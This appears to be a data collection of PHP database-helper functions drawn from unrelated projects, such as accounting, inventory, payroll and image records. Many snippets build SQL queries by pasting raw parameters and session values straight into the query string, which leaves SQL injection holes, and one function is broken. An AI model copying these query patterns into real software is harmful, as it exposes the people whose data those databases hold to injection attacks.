\".$saldo_akun);\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($saldo_akun<>0){\r\n\t\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir-$saldo_akun;\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode-$saldo_akun;\r\n\t\t\t\t\t\t\t$test.=\"-\".$saldo_akun;\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir+$saldo_akun;\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode+$saldo_akun;\r\n\t\t\t\t\t\t\t$test.=\"+\".$saldo_akun;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n*/\t\t\t\t\t\r\n\r\n\t\t\t\t\t//saldo dari buku besar\r\n\t\t\t\t\t$sql=\"SELECT A.akun_kode,\r\n\t\t\t\t\t\t\tsum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\tFROM buku_besar B, akun A\r\n\t\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND A.akun_jenis='R/L'\r\n\t\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%' \";\r\n\t\t\t\t\t\t\t/*GROUP BY A.akun_kode, A.akun_saldo\";*/\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t\t$sql.=\"\tAND date_format(B.buku_tanggal,'%Y-%m')<='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t\t}elseif($buku_periode==\"tanggal\"){\r\n\t\t\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m-%d')<='\".$buku_tglakhir.\"'\";\r\n\t\t\t\t\t}\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t$rlisi=$this->db->query($sql);\r\n\t\t\t\t\tif($rlisi->num_rows()){\r\n\t\t\t\t\t\tforeach($rlisi->result() as $rowisi){\r\n\t\t\t\t\t\t\r\n\t\t/*\t\t\t\t\tprint_r($sql);\r\n\t\t\t\t\t\t\tprint_r(', akun_kode: '); print_r($rowisi->akun_kode);\r\n\t\t\t\t\t\t\tprint_r(', debet: '); print_r($rowisi->debet);\r\n\t\t\t\t\t\t\tprint_r(', kredit: '); print_r($rowisi->kredit);\t\t\t\t\t\r\n\t\t*/\t\t\t\t\t\r\n/*\t\t\t\t\t\t\tif($rowisi->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t\t}\r\n*/\r\n\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t//print_r($rowisi->akun_saldo); print_r(' '); print_r($saldo_buku);\r\n\t\t\t\t\t\r\n\t\t\t\t\t//print_r('Saldo Akhir: '); print_r($saldo_akhir);\r\n\t\t\t\t\t\r\n\t\t\t\t\t$saldo_akhir = $saldo_akhir + $saldo_buku;\r\n\r\n// tidak perlu, karena sudah dihitung di atas\t\t\t\r\n/*\t\t\t\t\tif($saldo_buku<>0){\r\n\t\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir-$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"-\".$saldo_akun;\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir+$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"+\".$saldo_akun;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n*/\t\t\t\t\r\n\t\t\t\t\t//bulan ini\r\n\t\t\t\t\t$saldo=0;\r\n\t\t\t\t\t$sql=\"SELECT A.akun_kode,sum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\tFROM\tbuku_besar B, akun A\r\n\t\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%' \r\n\t\t\t\t\t\t\tAND A.akun_jenis='R/L'\";\r\n\t\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t\t$sql.=\"\tAND date_format(B.buku_tanggal,'%Y-%m')='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t\t}elseif($buku_periode==\"tanggal\"){\r\n\t\t\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m-%d')<='\".$buku_tglakhir.\"'\";\r\n\t\t\t\t\t}\r\n\t\t\r\n\t\t\t\t\t$sql.=\" GROUP BY A.akun_kode, A.akun_saldo\";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($rlisi->num_rows()){\r\n\t\t\t\t\t\tforeach($rlisi->result() as $rowisi){\r\n/*\t\t\t\t\t\t\tif($rowisi->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\r\n*/\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t$saldo_akhir_periode = $saldo_akhir_periode + $saldo_buku;\r\n\t\t\t\t\t\r\n// tidak perlu, karena sudah dihitung di atas\t\t\t\t\t\r\n/*\t\t\t\t\tif($saldo_buku<>0){\r\n\t\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode-$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"-\".$saldo_akun;\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode+$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"+\".$saldo_akun;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n*/\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$data[$i][\"neraca_akun\"]=777;\r\n\t\t\t\t$data[$i][\"neraca_jenis\"]='RUGI/LABA BERSIH';\r\n\t\t\t\t$data[$i][\"neraca_level\"]=1;\r\n\t\t\t\t$data[$i][\"neraca_jenis_id\"]=777;\r\n\t\t\t\t$data[$i][\"neraca_akun_kode\"]=\"777.\";\r\n\t\t\t\t$data[$i][\"neraca_akun_nama\"]=\"LABA/RUGI BERSIH\";\t\t\t\r\n\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir;\r\n\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=$saldo_akhir_periode;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t//$this->firephp->log($test);\r\n\t\t\t\t\r\n\t\t\t\t$total_nilai+=$data[$i][\"neraca_saldo\"];\r\n\t\t\t\t$total_nilai_periode+=$data[$i][\"neraca_saldo_periode\"];\r\n\t\t\t\t$i++;\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$data[$i][\"neraca_akun\"]=9999;\r\n\t\t\t$data[$i][\"neraca_jenis\"]='TOTAL';\r\n\t\t\t$data[$i][\"neraca_level\"]=2;\r\n\t\t\t$data[$i][\"neraca_jenis_id\"]=9999;\r\n\t\t\t$data[$i][\"neraca_akun_kode\"]=\"999.\";\r\n\t\t\t$data[$i][\"neraca_akun_nama\"]=\"TOTAL\";\t\t\t\r\n\t\t\t$data[$i][\"neraca_saldo\"]=$total_nilai;\r\n\t\t\t$data[$i][\"neraca_saldo_periode\"]=$total_nilai_periode;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tif($nbrows>0){\r\n\t\t\t\t$jsonresult = json_encode($data);\r\n\t\t\t\treturn '({\"total\":\"'.$nbrows.'\",\"results\":'.$jsonresult.'})';\r\n\t\t\t} else {\r\n\t\t\t\treturn '({\"total\":\"0\", \"results\":\"\"})';\r\n\t\t\t}\r\n\t\t}", "public function searchBarangLG($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"LG\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "public function TraerCiudadRiesgo(){\n $sentencia = $this->db->prepare(\"SELECT *FROM ciudad WHERE zona_riesgo=1 \" ); \n $sentencia->execute(); // ejecuta -\n $query= $sentencia->fetchAll(PDO::FETCH_OBJ); // obtiene la respuesta\n return $query;\n }", "function m_get_jawaban($id_sk, $nipg, $id_kuesioner){\n\t\treturn $this->db->query('Select jawaban from tb_respon_kuesioner where id_sk = '.$id_sk.' AND nipg='.$nipg.' AND id_kuesioner = '.$id_kuesioner.'');\n\t}", "public static function getRoditelji()\n {\n //$data = Korisnik::where('korisnici_roditelj_1','=',NULL)->get();\n //$data = Korisnik::all();\n $dvaRoditelja=\\DB::select('SELECT DISTINCT \n k1.korisnici_roditelj_1, k2.korisnici_roditelj_2,\n k1.prezime as prvi_roditelj_prezime, k1.ime as prvi_roditelj_ime,\n k2.prezime as drugi_roditelj_prezime, k2.ime as drugi_roditelj_ime\n FROM korisnici k1, korisnici k2 \n WHERE (k1.korisnici_roditelj_1 = k2.korisnici_roditelj_1 \n AND k1.korisnici_roditelj_2 = k2.korisnici_roditelj_2)\n ');\n \n $jedanRoditelj=\\DB::select('SELECT DISTINCT \n k1.korisnici_roditelj_1, k2.korisnici_roditelj_2,\n k1.prezime as prvi_roditelj_prezime, k1.ime as prvi_roditelj_ime,\n k2.prezime as drugi_roditelj_prezime, k2.ime as drugi_roditelj_ime\n FROM korisnici k1, korisnici k2 \n WHERE (k1.korisnici_roditelj_1 = k2.korisnici_roditelj_1 \n AND k1.korisnici_roditelj_2 is NULL)');\n\n $dvaRoditelja=json_decode(json_encode($dvaRoditelja),true);\n $jedanRoditelj=json_decode(json_encode($jedanRoditelj),true);\n\n $data3=array_merge($dvaRoditelja,$jedanRoditelj);\n\n $data3=array_unique($data3, SORT_REGULAR);\n\n return compact(['data3']);\n \n }", "function getDataKPB($r_key){\n\t\t\t$sql = \"select p.idpegawai,p.nik,\".static::schema.\".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as pegawai,\n\t\t\t\t\tr.*,substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),3,2)+' bulan' as mklama,\n\t\t\t\t\tsubstring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),1,2) as mkthn, substring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),3,2) as mkbln,\n\t\t\t\t\tpl.golongan as pangkatlama,u.kodeunit+' - '+u.namaunit as namaunit\n\t\t\t\t\tfrom \".self::table('pe_kpb').\" r \n\t\t\t\t\tleft join \".self::table('ms_pegawai').\" p on p.idpegawai=r.idpegawai\n\t\t\t\t\tleft join \".self::table('ms_unit').\" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pl on pl.idpangkat=r.idpangkatlama\n\t\t\t\t\twhere r.nokpb = $r_key\";\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "public function searchBarangSSS($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')\n\t\t\t\t\t\t\t ->andWhere('b0001.PARENT=1')\n\t\t\t\t\t\t\t ->andWhere('KD_CORP=\"SSS\" OR KD_CORP=\"MM\"')\n\t\t\t\t\t\t\t ->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getAllPengajuanBMT(){\n// ->rightjoin('users','users.id','=','penyimpanan_bmt.id_user')\n// ->join('bmt','bmt.id','=','penyimpanan_bmt.id_bmt')->limit(25)->get();\n $id_rekening= $this->rekening->select('id')->where('tipe_rekening','detail')->get()->toArray();\n $data = BMT::whereIn('id_rekening',$id_rekening)->get();\n return $data;\n }", "public function nahrajObrazekByID($obrazekID){\n\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE obrazekID = \". $obrazekID;\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t$vratit = null;\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During loading of data an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\t\telse{\n\t\t\t\t//case vysledek je mysqli_result\n\t\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\t\tforeach($pole as $radek ){\n\t\t\t\n\t\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\n\t\t\t\t\t$vratit = $obrazek;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t\n\t\treturn $vratit;\n\t}", "public function getPraktikum()\n\t{\n\t\t$sql = \"SELECT * FROM praktikum WHERE\nstatus = 1\";\n\t $query = koneksi()->query($sql);\n\t $hasil = [];\n\t while ($data = $query->fecth_assoc())\n\t\t$hasil[] = $data;\n\t }", "public function get_comanda_oberta($taula) {\n\n $array = array('taula' => $taula, 'estat =' => 'oberta');\n $this->db->select();\n $this->db->from('comanda');\n $this->db->where($array);\n $query = $this->db->get();\n\n return $query->row();\n }", "public function getTriwulanTerakhir($tahun, $kode_e2, $kode_sasaran_e2){\r\n\t\t$this->db->flush_cache();\r\n\t\t$this->db->select('*');\r\n\t\t$this->db->from('tbl_kinerja_eselon2');\r\n\t\t$this->db->where('tahun', $tahun);\r\n\t\t$this->db->where('kode_e2', $kode_e2);\r\n\t\t$this->db->where('kode_sasaran_e2', $kode_sasaran_e2);\r\n\t\t$this->db->order_by('triwulan', 'desc');\r\n\t\t\r\n\t\t$query = $this->db->get();\r\n\t\t\r\n\t\tif($query->num_rows() > 0){\r\n\t\t\treturn $query->row()->triwulan;\r\n\t\t}else{\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\t\r\n\t}", "function get_all_tb_detil_barang()\n {\n $this->db->order_by('idDetilBarang', 'desc');\n return $this->db->get('tb_detil_barang')->result_array();\n }", "function get_all_perumahan__pembangunan_rumah($params = array())\n {\n $this->db->order_by('id_pembangunan', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return $this->db->get('perumahan__pembangunan_rumah')->result_array();\n }", "function get_keluaran($thang=\"2011\",$kddept=null,$kdunit=null,$kdprogram=null,$kdsatker=null,$kdgiat=null)\r\n{\r\n\t$ci = & get_instance();\r\n\t$ci->load->database();\r\n\t$sql = 'select round(avg(pk),2) as pk\r\n\tfrom tb_keluaran\r\n\twhere thang='.$thang.' ';\r\n\t\r\n\tif(isset($kddept)):\r\n\t\t$sql .= 'and kddept='.$kddept.' ';\r\n\tendif;\r\n\tif(isset($kdunit)):\r\n\t\t$sql .= 'and kdunit='.$kdunit.' ';\r\n\tendif;\r\n\tif(isset($kdprogram)):\r\n\t\t$sql .= 'and kdprogram='.$kdprogram.' ';\r\n\tendif;\r\n\tif(isset($kdsatker)):\r\n\t\t$sql .= 'and kdsatker='.$kdsatker.' ';\r\n\tendif;\r\n\tif(isset($kdgiat)):\r\n\t\t$sql .= 'and kdgiat='.$kdgiat.' ';\r\n\tendif;\r\n\treturn $ci->db->query($sql)->row();\r\n}", "public function getByIndex()\n {\n $query = \"SELECT a.id_tp, b.nama as 'hewan', c.nama as 'Kasir', d.nama as 'customer_service',\n a.kode as 'kode', a.tanggal as 'tanggal', \n a.sub_total as 'sub_total', a.total_harga as 'total_harga'\n FROM transaksi_produk a \n JOIN hewan b ON b.id_hewan=a.id_hewan JOIN pegawai c ON c.id_pegawai=a.id_pegawai_k JOIN pegawai d ON d.id_pegawai=a.id_pegawai_cs\";\n\n $result = $this->db->query($query);\n return $result->result();\n }", "public function searchAntrianRI()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('PAS_NOREKAMMEDIK',$this->PAS_NOREKAMMEDIK,true);\n\t\t$criteria->compare('REM_TGLKUNJUNGAN',$this->REM_TGLKUNJUNGAN,true);\n\t\t$criteria->compare('RID_TGLMASUKKAMAR',$this->RID_TGLMASUKKAMAR,true);\n\t\t$criteria->compare('KLS_IDKELAS',$this->KLS_IDKELAS,true);\n\t\t$criteria->compare('KMR_KODEKAMAR',$this->KMR_KODEKAMAR,true);\n\t\t$criteria->compare('KMR_KODEBED',$this->KMR_KODEBED,true);\n\t\t$criteria->compare('RID_TGLKELUARKAMAR',$this->RID_TGLKELUARKAMAR,true);\n\t\t$criteria->compare('RID_STATUSRI','=LUNAS',true);\n\t\t$criteria->compare('RID_KONDISIPASIENKELUAR',$this->RID_KONDISIPASIENKELUAR,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getByIndex()\n {\n $query = \"SELECT a.id_tl, b.nama as 'hewan', c.nama as 'Kasir', d.nama as 'customer_service',\n a.kode as 'kode', a.tanggal as 'tanggal', \n a.sub_total as 'sub_total', a.total_harga as 'total_harga'\n FROM transaksi_layanan a \n JOIN hewan b ON b.id_hewan=a.id_hewan JOIN pegawai c ON c.id_pegawai=a.id_pegawai_k JOIN pegawai d ON d.id_pegawai=a.id_pegawai_cs\";\n\n $result = $this->db->query($query);\n return $result->result();\n }", "function getTunjTarifParam($conn) {\n $last = self::getLastDataPeriodeGaji($conn);\n\n $sql = \"select g.idpegawai,g.kodetunjangan\n from \" . static::table('ga_pegawaitunjangan') . \" g\n left join \" . static::table('ms_tunjangan') . \" t on t.kodetunjangan=g.kodetunjangan\n where g.tmtmulai <= '\" . $last['tglawalhit'] . \"' and t.carahitung in ('P','M') and t.isbayargaji = 'T' and t.isaktif = 'Y' and g.idpegawai is not null and g.isaktif = 'Y'\n order by g.tmtmulai asc\";\n $rs = $conn->Execute($sql);\n\n while ($row = $rs->FetchRow()) {\n $a_tunjtarifparam[$row['kodetunjangan']][$row['idpegawai']] = $row['idpegawai'];\n }\n\n return $a_tunjtarifparam;\n }", "public function getCaracteristicasPlan( $where , $params ){\r\t\t\r\t\t$db = JFactory::getDbo();\r\t\r\t\tif( !is_array( $where ) )\r\t\t\t$where = array();\r\t\t\r\t\t$db = JFactory::getDbo();\r\t\t$query = $db->getQuery(true);\r\t\t\r\t\t$query->select( '*' );\r\t\t$query->from( self::TABLE.' AS a' );\r\t\t$query->innerJoin( '#__caracteristicas_planes AS b ON a.id_plan = b.id_plan' );\r\t\t$query->innerJoin( '#__caracteristicas AS c ON b.id_caracteristica = c.id_caracteristica' );\r\t\t\r\t\t$query->where( 'a.id_plan = '.$this->id_plan , 'AND');\r\t\t\r\t\tforeach( $where as $key=>$obj ){\r\t\t\t\r\t\t\tif( !is_object($obj) )\r\t\t\t\tcontinue;\r\t\t\t\r\t\t\t$consulta = $obj->key . $obj->condition . $obj->value . $obj->glue;\r\t\t\t$query->where( $consulta );\r\t\t\t\r\t\t}\r\t\t\r\t\t// Order ASC default\r\t\tif( isset( $params[ 'order' ] ) )\r\t\t\t$query->order( $params[ 'order' ] );\r\t\t\t\r\t\t// Group By\r\t\tif( isset( $params[ 'group' ] ) )\t\r\t\t\t$query->group( $params[ 'group' ] );\r\t\t\r\t\t$db->setQuery( $query );\r\t\t\r\t\t// loadObject Or loadObjectList\r\t\tif( !isset($params[ 'load' ]) )\r\t\t\t$params[ 'load' ] = 'loadObject';\r\t\t\r\t\treturn $db->$params[ 'load' ]();\r\t}", "public function get_configuracion_boleta_cobro($codigo, $division = '', $grupo = '', $tipo = '', $periodo = '', $pensum = '', $nivel = '', $grado = ''){\n $sql= \"SELECT *, \";\n $sql.= \" (SELECT per_anio FROM fin_periodo_fiscal WHERE cbol_periodo_fiscal = per_codigo ORDER BY per_codigo DESC LIMIT 0,1) ,\";\n $sql.= \" (SELECT per_descripcion FROM fin_periodo_fiscal WHERE cbol_periodo_fiscal = per_codigo ORDER BY per_codigo DESC LIMIT 0,1) as cbol_periodo_descripcion\";\n $sql.= \" FROM boletas_configuracion_boleta_cobro, boletas_division, boletas_division_grupo, fin_moneda\";\n $sql.= \" WHERE cbol_division = div_codigo\";\n $sql.= \" AND cbol_grupo = div_grupo\";\n $sql.= \" AND div_grupo = gru_codigo\";\n $sql.= \" AND div_moneda = mon_id\";\n if (strlen($codigo)>0) {\n $sql.= \" AND cbol_codigo = $codigo\";\n }\n if (strlen($division)>0) {\n $sql.= \" AND cbol_division = $division\";\n }\n if (strlen($grupo)>0) {\n $sql.= \" AND cbol_grupo = $grupo\";\n }\n if (strlen($tipo)>0) {\n $sql.= \" AND cbol_tipo = '$tipo'\";\n }\n if (strlen($periodo)>0) {\n $sql.= \" AND cbol_periodo_fiscal = $periodo\";\n }\n if (strlen($pensum)>0) {\n $sql.= \" AND cbol_pensum = $pensum\";\n }\n if (strlen($nivel)>0) {\n $sql.= \" AND cbol_nivel = $nivel\";\n }\n if (strlen($grado)>0) {\n $sql.= \" AND cbol_grado = $grado\";\n }\n $sql.= \" ORDER BY gru_codigo ASC, div_codigo ASC, cbol_tipo ASC, cbol_periodo_fiscal ASC, cbol_codigo ASC\";\n\n $result = $this->exec_query($sql);\n //echo $sql.\"<br>\";\n return $result;\n }", "public function ambil_satu_baris()\r\n\t{\r\n\t\t$this->jalankan_sql();\r\n\t\treturn $this->kendaraan->fetch(PDO::FETCH_ASSOC);\r\n\t}", "function getdata(){\n\t\t$grid = $this->jqdatagrid;\n\n\t\t// CREA EL WHERE PARA LA BUSQUEDA EN EL ENCABEZADO\n\t\t$mWHERE = $grid->geneTopWhere('rcobro');\n\n\t\t$response = $grid->getData('rcobro', array(array()), array(), false, $mWHERE, 'id','desc' );\n\t\t$rs = $grid->jsonresult( $response);\n\t\techo $rs;\n\t}", "public function getAllMerekBajuAktif()\n {\n $sql = \"SELECT DISTINCT mb.id_merek_baju AS idMerekBaju, mb.nama_merek_baju AS merekBaju \n FROM merek_baju mb \n JOIN baju ba ON mb.id_merek_baju = ba.id_merek_baju\";\n $query = koneksi()->query($sql);\n $hasil = [];\n while ($data = $query->fetch_assoc()) {\n $hasil[] = $data;\n }\n return $hasil;\n }", "public function kodebrgkeluar()\n {\n $query = $this->select('RIGHT(brgkeluar.id_brgkeluar,4) as id_brgkeluar', False)->find();\n\n if ($query != NULL) {\n // mengecek jk kode telah tersedia\n $data = max($query);\n $kode = $data['id_brgkeluar'] + 1;\n } else {\n $kode = 1;\n }\n\n $batas = str_pad($kode, 4, \"0\", STR_PAD_LEFT);\n $kodeTampil = \"BK\" . $batas;\n return $kodeTampil;\n }", "function listarCuentaBancaria(){\n\t\t$this->procedimiento='tes.f_cuenta_bancaria_sel';\n\t\t$this->transaccion='TES_CTABAN_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del 